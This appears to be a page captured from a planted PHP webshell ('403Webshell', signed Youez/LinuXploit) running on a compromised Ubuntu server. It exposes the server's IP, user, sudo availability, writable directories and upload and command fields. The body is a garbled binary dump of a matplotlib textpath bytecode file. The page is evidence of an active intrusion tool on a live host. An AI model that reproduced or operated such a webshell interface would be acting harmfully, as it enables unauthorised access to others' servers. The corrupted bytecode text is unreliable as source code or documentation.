403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/matplotlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/matplotlib/__pycache__/textpath.cpython-312.pyc
�

G8�c�4����ddlmZddlZddlZddlZddlmZm	Z	m
Z
ddlmZm
Z
mZddlmZmZddlmZddlmZddlmZdd	lmZej6e�ZGd
�d�Ze�ZGd�d
e�Z y)�)�OrderedDictN)�_api�
_text_helpers�dviread)�FontProperties�get_font�fontManager)�LOAD_NO_HINTING�LOAD_TARGET_LIGHT)�MathTextParser)�Path)�
TexManager)�Affine2Dc��eZdZdZdZdZd�Zd�Zd�Zd�Z	d�Z
dd	�Z		dd�Z		dd�Z
ejd
d��d��Z		dd�Zed��Zy
)�
TextToPathz'A class that converts strings to paths.gY@�Hc�2�td�|_d|_y)N�path)r�mathtext_parser�_texmanager��selfs �5/usr/lib/python3/dist-packages/matplotlib/textpath.py�__init__zTextToPath.__init__s��-�f�5������c��tj|�}t|�}|j|j|j
�|S)zX
        Find the `FT2Font` matching font properties *prop*, with its size set.
        )�_fontManager�_find_fonts_by_propsr�set_size�
FONT_SCALE�DPI)r�prop�	filenames�fonts    r�	_get_fontzTextToPath._get_fonts9��!�5�5�d�;�	��	�"���
�
�d�o�o�t�x�x�0��rc��tS)N)r
rs r�_get_hinting_flagzTextToPath._get_hinting_flag's���rc�`�tjj|j�d|d���S)zO
        Return a unique id for the given font and character-code set.
        �-�x)�urllib�parse�quote�postscript_name)rr$�ccodes   r�_get_char_idzTextToPath._get_char_id*s-���|�|�!�!�T�%9�%9�$:�!�E�!�9�"E�F�Frc��|j�}|dk(rt�j||�S||jz}|rZ|j	�}|j|j�|jj|d|�^}}}}	||z||z||zfS|j|�}
|
j|dt��|
j�\}}|dz}|dz}|
j�}
|
dz}
||z||z|
|zfS)N�TeXrg��flagsgP@)
�get_size_in_pointsr�get_text_width_height_descentr �copyrrr,r%�set_textr
�get_width_height�get_descent)r�sr"�ismath�fontsize�scale�width�height�descent�_r$�w�h�ds              rr6z(TextToPath.get_text_width_height_descent0s
���*�*�,���U�?��<�=�=�a��J�J��4�?�?�*����9�9�;�D��M�M�$�/�/�*��$�$�*�*�1�b�$�7�
'�E�6�7�Q��5�=�&�5�.�'�E�/�A�A��~�~�d�#���
�
�a��O�
�4��$�$�&���1�	�T�	��	�T�	�������	�T�	���5�y�!�e�)�Q��Y�.�.rc���|dk(r|j||�\}}}n@|s(|j|�}|j||�\}}}n|j||�\}}}gg}	}|D]9\}
}}}
||
\}}|j	||
z||gz�|	j	|��;|D]'\}}|j	|�|	j	|��)|stjd�}||	fS)a�
        Convert text *s* to path (a tuple of vertices and codes for
        matplotlib.path.Path).

        Parameters
        ----------
        prop : `~matplotlib.font_manager.FontProperties`
            The font properties for the text.

        s : str
            The text to be converted.

        ismath : {False, True, "TeX"}
            If True, use mathtext parser.  If "TeX", use tex for rendering.

        Returns
        -------
        verts : list
            A list of numpy arrays containing the x and y coordinates of the
            vertices.

        codes : list
            A list of path codes.

        Examples
        --------
        Create a list of vertices and codes from a text, and create a `.Path`
        from those::

            from matplotlib.path import Path
            from matplotlib.textpath import TextToPath
            from matplotlib.font_manager import FontProperties

            fp = FontProperties(family="Humor Sans", style="italic")
            verts, codes = TextToPath().get_text_path(fp, "ABC")
            path = Path(verts, codes, closed=False)

        Also see `TextPath` for a more direct way to create a path from a text.
        r2)r�)�get_glyphs_texr%�get_glyphs_with_font�get_glyphs_mathtext�extend�np�empty)rr"r;r<�
glyph_info�	glyph_map�rectsr$�verts�codes�glyph_id�	xposition�	ypositionr>�verts1�codes1s                r�
get_text_pathzTextToPath.get_text_pathHs��P�U�?�+/�+>�+>�t�Q�+G�(�J�	�5���>�>�$�'�D�+/�+D�+D�T�1�+M�(�J�	�5�+/�+C�+C�D�!�+L�(�J�	�5��2�u��5?�	!�1�H�i��E�&�x�0�N�F�F��L�L��%��9�i�*@�@�A��L�L�� �	!�$�	!�N�F�F��L�L�� ��L�L�� �	!���H�H�V�$�E��e�|�rNc���|�
t�}|rt�}n|}g}g}tj||�D]}|j|jt|j��}	|j|	�|j|j�|	|vs�c|jj�||	<��dgt|�z}
dgt|�z}g}tt|||
|��||fS)zW
        Convert string *s* to vertices and codes using the provided ttf font.
        rg�?)
rr�layoutr0�	ft_object�ord�char�appendr*�get_path�len�list�zip)
rr$r;rO�return_new_glyphs_only�
glyph_map_new�
xpositions�	glyph_ids�item�char_id�
ypositions�sizesrPs
             rrIzTextToPath.get_glyphs_with_font�s�����#�
�I�!�'�M�M�%�M��
��	�!�(�(��D�1�	C�D��'�'�����D�I�I��G�G����W�%����d�f�f�%��i�'�)-���)@�)@�)B�
�g�&�	C��S�3�z�?�*�
���s�:��&�����S��J�
�E�B�C��u�&�	&rc��|j�}|j|j�|jj	||j
|�\}}}}}	|s
t
�}|rt
�}
n|}
g}g}g}
g}|D]�\}}}}}|j||�}||vr`|j�|j|j|j
�|j|t��|j�|
|<|j|�|j|�|
j|�||jz}|j|���g}|	D]�\}}}}||f|||zf||z||zf||z|f||fdg}tjtjtjtjtjtj g}|j||f���t#t%|
|||��|
|fS)zW
        Parse mathtext string *s* and convert it to a (vertices, codes) pair.
        r3�rr)r7rr rr,r!rr0�clear�	load_charr
r_r^r
�MOVETO�LINETO�	CLOSEPOLYrarb)rr"r;rOrcr?r@rA�glyphsrPrdrerirfrjr$r=r/�ox�oyrh�size�myrectsrCrD�vert1�code1s                           rrJzTextToPath.get_glyphs_mathtext�s����y�y�{���
�
�d�o�o�&�04�0D�0D�0J�0J�
�t�x�x��1�-��v�w����#�
�I�!�'�M�M�%�M��
��
��	���-3�	�)�D�(�E�2�r��'�'��e�4�G��i�'��
�
���
�
�d�o�o�t�x�x�8����u�O��<�)-����
�g�&����b�!����b�!����W�%��d�o�o�-�D��L�L���	���!�	+�L�B��A�q��"�X��B��F�|�b�1�f�b�1�f�-=��1�f�b�\�B��8�V�5�E��[�[��[�[�$�+�+�t�{�{�D�K�K��^�^�%�E�
�N�N�E�5�>�*�
	+��S��J�
�E�B�C��w�(�	(rz3.6zTexManager())�alternativec�P�|j�t�|_|jS)z5Return the cached `~.texmanager.TexManager` instance.)rrrs r�get_texmanagerzTextToPath.get_texmanager�s&�����#�)�|�D�����rc��t�j||j�}tj||j
�5}|\}ddd�|�
t
�}|rt
�}n|}ggggf\}	}
}}jD�]|}
t|
j�}|j||
j�}||vr�|j�|j|j|j
�|
j}t|t �r)|j#|�}|j%|t&��nGt|t(�r)|j+|�|j-|t&��nt/d|����|j1�||<|	j3|�|
j3|
j4�|j3|
j6�|j3|
j8|jz���g}|j:D]�\}}}}||f||z|f||z||zf|||zf||fdg}t<j>t<j@t<j@t<j@t<j@t<jBg}|j3||f���tEtG|	|
||��||fS#1swY��{xYw)z?Convert the string *s* to vertices and codes using usetex mode.Nr3zGlyph spec of unexpected type: rl)$r�make_dvir r�Dvir!r�textr�	font_pathr0�glyphrmr�glyph_name_or_index�
isinstance�str�get_name_index�
load_glyphr�int�_select_native_charmaprn�	TypeErrorr_r^r*�y�	font_size�boxesr
rorprqrarb)rr"r;rOrc�dvifile�dvi�pagerdrfrerirjrr$rhr��indexrvrsrtrDrCrwrxs                         rrHzTextToPath.get_glyphs_tex�s���
�,�'�'��4�?�?�;��
�[�[��$�(�(�
+�	�s��E�D�	���#�
�I�!�'�M�M�%�M�35�r�2�r�>�0�	�:�z�5��I�I�	;�D��D�N�N�+�D��'�'��d�j�j�9�G��i�'��
�
���
�
�d�o�o�t�x�x�8�&*�&>�&>�#��1�3�7� �/�/�0C�D�E��O�O�E�1B�O�C�� 3�S�9��/�/��5��N�N�+�3D�#�F�$�&E�':�&=�%?�@�@�)-����
�g�&����W�%����d�f�f�%����d�f�f�%��L�L����$�/�/�9�:�-	;�0�� �J�J�	+�L�B��A�q��"�X��Q���|�b�1�f�b�1�f�-=��"�q�&�\�B��8�V�5�E��[�[��[�[�$�+�+�t�{�{�D�K�K��^�^�%�E�
�N�N�E�5�>�*�
	+��S��J�
�E�B�C��w�(�	(�c	�	�s�K�K
c��dD]}	|j|�ytj	d|j
�y#ttf$rY�JwxYw)N)iCBDAiBODAz#No supported encoding in font (%s).)�select_charmap�
ValueError�RuntimeError�_log�warning�fname)r$�charmap_codes  rr�z!TextToPath._select_native_charmaps[��
�	L�L�
��#�#�L�1��	L�
�L�L�>��
�
�K����-�
��
�s�<�A�
A)F)NF)�__name__�
__module__�__qualname__�__doc__r r!rr%r'r0r6rXrIrJr�
deprecatedr{rH�staticmethodr��rrrrs���1��J�
�C� ���G�/�0>�@7;�49�&�>6:�38�1(�f�T�_�_�U��7� �8� �15�.3�8(�t�L��Lrrc�Z��eZdZdZ		d�fd�	Zd�Zd�Zed��Zed��Z	d�Z
�xZS)	�TextPathz&
    Create a path from the text.
    c�.��ddlm}tj|�}|�|j	�}||_|j
|�d|_||��j|�\}}t�	|�(tj|||��|dd��d|_
y)	a
        Create a path from the text. Note that it simply is a path,
        not an artist. You need to use the `.PathPatch` (or other artists)
        to draw this path onto the canvas.

        Parameters
        ----------
        xy : tuple or array of two float values
            Position of the text. For no offset, use ``xy=(0, 0)``.

        s : str
            The text to convert to a path.

        size : float, optional
            Font size in points. Defaults to the size specified via the font
            properties *prop*.

        prop : `matplotlib.font_manager.FontProperties`, optional
            Font property. If not provided, will use a default
            ``FontProperties`` with parameters from the
            :ref:`rcParams<customizing-with-dynamic-rc-settings>`.

        _interpolation_steps : int, optional
            (Currently ignored)

        usetex : bool, default: False
            Whether to use tex rendering.

        Examples
        --------
        The following creates a path from the string "ABC" with Helvetica
        font face; and another path from the latex fraction 1/2::

            from matplotlib.textpath import TextPath
            from matplotlib.font_manager import FontProperties

            fp = FontProperties(family="Helvetica", style="italic")
            path1 = TextPath((12, 12), "ABC", size=12, prop=fp)
            path2 = TextPath((0, 0), r"$\frac{1}{2}$", size=12, usetex=True)

        Also see :doc:`/gallery/text_labels_and_annotations/demo_text_path`.
        r)�TextN)�usetex)r<T)�_interpolation_steps�readonlyF)�matplotlib.textr�r�	_from_anyr5�_xyr�_cached_vertices�_preprocess_math�superr�text_to_pathrX�_should_simplify)
r�xyr;rur"r�r�r�r<�	__class__s
         �rrzTextPath.__init__5s����Z	)��'�'��-���<��*�*�,�D�����
�
�d�� $�����'�8�8��;�	��6�
���
�
'�
'��a��
'�
?�!5��	�!&��rc� �||_d|_y)zSet the text size.TN)�_size�_invalid)rrus  rrzTextPath.set_sizess����
���
rc��|jS)zGet the text size.)r�rs r�get_sizezTextPath.get_sizexs���z�z�rc�:�|j�|jS)zH
        Return the cached path after updating it if necessary.
        )�_revalidate_pathr�rs r�verticeszTextPath.vertices|s��
	
�����$�$�$rc��|jS)z"
        Return the codes
        )�_codesrs rrRzTextPath.codes�s��
�{�{�rc�P�|js|j��t�j|jt
jz�j|j�}|j|j�|_d|jj_d|_yy)z�
        Update the path if necessary.

        The path for the text is initially create with the font size of
        `.FONT_SCALE`, and this path is rescaled to other size when necessary.
        NF)
r�r�rr>r�r�r �	translater��	transform�	_verticesr4�	writeable)r�trs  rr�zTextPath._revalidate_path�s����=�=�D�1�1�9��(�*��5����l�&=�&=�=�>��9�d�h�h�(�B�%'�L�L����$@�D�!�49�D�!�!�'�'�1�!�D�M�
:r)NN�F)r�r�r�r�rrr��propertyr�rRr��
__classcell__)r�s@rr�r�0sM����/3�05�<&�|�
��%��%�����
"rr�)!�collectionsr�logging�urllib.parser+�numpyrL�
matplotlibrrr�matplotlib.font_managerrrr	r�matplotlib.ft2fontr
r�matplotlib.mathtextr�matplotlib.pathr
�matplotlib.texmanagerr�matplotlib.transformsr�	getLoggerr�r�rr�r�r�rr�<module>r�sk��#����3�3���B�.� �,�*��w����"��VL�VL�r�|��h"�t�h"r

Youez - 2016 - github.com/yon3zu
LinuXploit